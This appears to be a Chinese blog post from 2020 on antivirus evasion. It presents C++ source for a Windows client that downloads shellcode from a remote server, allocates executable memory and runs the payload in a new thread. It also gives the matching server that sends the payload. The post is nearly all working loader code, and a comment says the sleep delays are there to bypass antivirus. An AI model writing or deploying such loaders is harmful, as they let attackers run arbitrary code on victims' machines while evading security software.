远程加载shellcode实现分离免杀

Posted 2020-11-24

客户端：

#include <stdio.h>
#include <iostream>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")  //添加ws2_32动态库
#pragma warning(disable:4996) //忽略旧函数使用的警告
using namespace std;

int main(int argc, char *argv[])
{
    const int BUF_SIZE = 1024;

    WSADATA wsd; //WSADATA变量
    SOCKET sHost; // 服务器套接字socket
    SOCKADDR_IN servAddr; //服务器地址
    char buf[BUF_SIZE]; // 存放发送的数据缓冲区
    char bufRecv[BUF_SIZE]; //接收收到的数据缓冲区

    DWORD dwThreadId;
    HANDLE hThread;
    DWORD dwOldProtect;

    int retVal; // 返回值

    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) //初始化套结字动态库
    {
        cout << "WSAStartup failed!" << endl;
        return -1;
    }

    sHost = socket(AF_INET, SOCK_STREAM, 0); //创建套接字 IPV4  可靠的，双向的类型服务提供商选择
    if (INVALID_SOCKET == sHost)
    {
        cout << "socket failed!" << endl;
        WSACleanup();
        return  -1;
    }

    //设置服务器的地址
    servAddr.sin_family = AF_INET; //指定IPV4
    servAddr.sin_addr.s_addr = inet_addr(argv[1]); // 指定服务器的地址
    servAddr.sin_port = htons((short)atoi(argv[2])); // 指定服务器的端口



    retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); // 套接字 sockaddr的指针，也就是地址 第三个参数为SOCKADDR_IN结构体的大小
    if (SOCKET_ERROR == retVal) //判断是否连接成功
    {
        cout << "connect failed!" << endl;
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    ZeroMemory(buf, BUF_SIZE); // buf指向的地址用0来填充
    strcpy(buf, "ok"); //给ok两个字节的字符串复制给buf

    retVal = send(sHost, buf, strlen(buf), 0); //send的返回值

    if (SOCKET_ERROR == retVal) //判断是否发送成功
    {
        cout << "send failed!" << endl;
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    cout << "Starting Download Payload" << endl;
    ZeroMemory(bufRecv, BUF_SIZE); // bufRevc指向的地址用0来填充
    Sleep(2000); //延迟两秒起到免杀绕过的效果
    cout << "Downloading." << endl;
    //RecvLine(sHost, bufRecv);
    recv(sHost, bufRecv, BUF_SIZE, 0); //bufRecv缓冲区接收 服务端发送来的数据
    cout << "OK." << endl;
    cout << "接收到的数据：" << bufRecv << endl;

    Sleep(4000);
    closesocket(sHost);
    WSACleanup();
    cout << "Start load" << endl;

    //下面就是开辟内存存储shellcode 创建线程进行执行
    char * shellcode = (char *)VirtualAlloc(
        NULL,
        BUF_SIZE,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    CopyMemory(shellcode, bufRecv, BUF_SIZE);
    hThread = CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)shellcode,
        NULL,
        NULL,
        &dwThreadId
    );

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

---

服务端：

#include "winsock2.h"
#pragma comment(lib, "ws2_32.lib")
#include <iostream>
using namespace std;


int main(int argc, char* argv[])
{
    const int BUF_SIZE = 1024;
    WSADATA         wsd;            //WSADATA变量
    SOCKET          sServer;        //服务器套接字
    SOCKET          sClient;        //客户端套接字
    SOCKADDR_IN     addrServ;;      //服务器地址
    char            buf[BUF_SIZE];  //接收数据缓冲区
    //char            sendBuf[BUF_SIZE];//返回给客户端的数据
    char            sendBuf[] = "this is shellcode";
    int             retVal;         //返回值
                                    //初始化套结字动态库
    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
    {
        cout << "WSAStartup failed!" << endl;
        return 1;
    }

    //创建套接字
    sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (INVALID_SOCKET == sServer)
    {
        cout << "socket failed!" << endl;
        WSACleanup();//释放套接字资源;
        return  -1;
    }

    //服务器套接字地址 
    addrServ.sin_family = AF_INET;
    addrServ.sin_port = htons((short)atoi(argv[1]));;
    addrServ.sin_addr.s_addr = INADDR_ANY;

    //绑定套接字
    retVal = bind(sServer, (LPSOCKADDR)&addrServ, sizeof(SOCKADDR_IN));
    if (SOCKET_ERROR == retVal)
    {
        cout << "bind failed!" << endl;
        closesocket(sServer);   //关闭套接字
        WSACleanup();           //释放套接字资源;
        return -1;
    }

    //开始监听 
    retVal = listen(sServer, 1);
    if (SOCKET_ERROR == retVal)
    {
        cout << "listen failed!" << endl;
        closesocket(sServer);   //关闭套接字
        WSACleanup();           //释放套接字资源;
        return -1;
    }

    //接受客户端请求
    sockaddr_in addrClient;
    int addrClientlen = sizeof(addrClient);
    sClient = accept(sServer, (sockaddr FAR*)&addrClient, &addrClientlen);
    if (INVALID_SOCKET == sClient)
    {
        cout << "accept failed!" << endl;
        closesocket(sServer);   //关闭套接字
        WSACleanup();           //释放套接字资源;
        return -1;
    }

    int flag = 1;
    while (flag)
    {
        //接收客户端数据
        ZeroMemory(buf, BUF_SIZE); // 填充为0 防止意外
        retVal = recv(sClient, buf, BUF_SIZE, 0); // 接收数据放在buf缓冲区
        if (SOCKET_ERROR == retVal)//判断
        {
            cout << "recv failed!" << endl;
            closesocket(sServer);   //关闭套接字
            closesocket(sClient);   //关闭套接字     
            WSACleanup();           //释放套接字资源;
            return -1;
        }
        if (buf[0] == '0')
            break;

        cout << "客户端发送的数据: " << buf << endl;



        cout << "向客户端发送shellcode: " << sendBuf << endl;
        send(sClient, sendBuf, strlen(sendBuf), 0);
        cout << "发送成功!" << endl;
        flag = 0;

    }
    //退出
    closesocket(sServer);   //关闭套接字
    closesocket(sClient);   //关闭套接字
    WSACleanup();           //释放套接字资源;

    return 0;
}

参考文章：https://payloads.online/archivers/2019-11-10/2